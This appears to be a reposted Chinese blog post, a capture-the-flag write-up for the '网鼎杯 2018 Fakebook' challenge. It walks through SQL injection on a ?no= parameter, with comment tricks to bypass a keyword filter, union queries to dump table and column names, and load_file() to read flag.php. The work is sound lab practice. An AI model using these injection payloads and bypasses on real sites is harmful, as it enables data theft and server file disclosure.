当前位置: 首页 > news >正文

[网鼎杯 2018]Fakebook

启动靶机,一个登录按钮,一个注册按钮。试了一下万能密码,弱口令没成功。

目录扫描,发现存在可访问的页面/robots.txt,访问发现泄露了页面user.php的备份代码

这里进行了一下任意注册,然后登录

发现地址栏 ?no=1

?no=1 and 1=1    (正常回显)

?no=1 and 1=2   (回显异常) 说明存在sql注入点

如此先确认有多少列数据。  4 显示正常,5 报错。所以数据有4列

 查找注入点位时,返回  no hack  说明有过滤

使用/*!secret*/  或者/**/secret 可以绕过。 ?no=-1 union /*!secret*/ 1,2,3,4 

通过version(),database(),user() 函数查看发现。发现当前是root账号,并且数据库为fakebook,数据库是 mariadb 10.2.26 (数据库版本在5.0以上,系统会自带infomation_schema库)

?no=-1 union /*!SELECT*/ 1,table_name,3,4 from information_schema.tables where table_schema=database()   爆出表名users


?no=-1 union /*!SELECT*/ 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'   爆出字段名no,username,passwd,data


?no=-1 union /*!SELECT*/ 1,group_concat(data),3,4 from fakebook.users   想爆出data字段查看来着,但是不知道为啥没有任何返回。按理说应该有数据,不然用户注册时填写的一些年龄、博客地址数据存哪里呢

不知道该怎么办。

看到有师傅说可以扫描到flag.php  (我也扫描了咋没扫到呢,why)不管了,有就行

用load_file()函数读取   ?no=-1 union /*!SELECT*/ 1,load_file("/var/www/html/flag.php"),3,4

F12查看代码得到flag

http://www.dtcms.com/a/355683.html

相关文章:

  • 基础IO详解
  • 【前端教程】JavaScript 基础总结
  • 教育类《河北教育》杂志简介
  • Day03_苍穹外卖——公共字段自动填充菜品相关功能
  • 河南萌新联赛2025第(七)场:郑州轻工业大学
  • 【数据结构与算法】(LeetCode)141.环形链表 142.环形链表Ⅱ
  • 数据分析学习笔记4:加州房价预测
  • 国产的服务器
  • 如何监控PCIe 5.0 SSD的运行温度?多软件推荐
  • 中国剩余定理(以及扩展..)
  • 用 Docker 玩转 Kafka 4.0镜像选型、快速起步、配置持久化与常见坑
  • 影楼精修-锁骨增强算法
  • 深入理解 PHP 中的 `pcntl_fork()`:父进程与子进程的执行路径
  • SRE网易一面面经
  • Linux笔记12——shell编程基础-6
  • 少样本图异常检测系列【A Survey of Few-Shot Graph Anomaly Detection】
  • Python实战:银行ATM系统开发全解析
  • RuoYi-VuePlus:前端指定接口不显示错误提示
  • 面试tips--JVM(2)--对象创建的过程
  • ERNIE-4.5-VL:技术解密+应用实战,解锁多模态新场景!
  • 8.29 贪心|摩尔投票
  • 【不说废话】pytorch中.to(device)函数详解
  • 基于K8s部署服务:dev、uat、prod环境的核心差异解析
  • 工业级TF卡NAND+北京君正+Rk瑞芯微的应用
  • openEuler Embedded 的 Yocto入门 : 5.基本变量与基本任务详解
  • Linux 系统 poll 与 epoll 机制1:实现原理与应用实践
  • DINOv2 vs DINOv3 vs CLIP:自监督视觉模型的演进与可视化对比
  • 传统set+new写法与Builder写法的区别
  • LightRAG
  • 客户案例 | 柳钢集团×甄知科技,燕千云ITSM打造智能服务新生态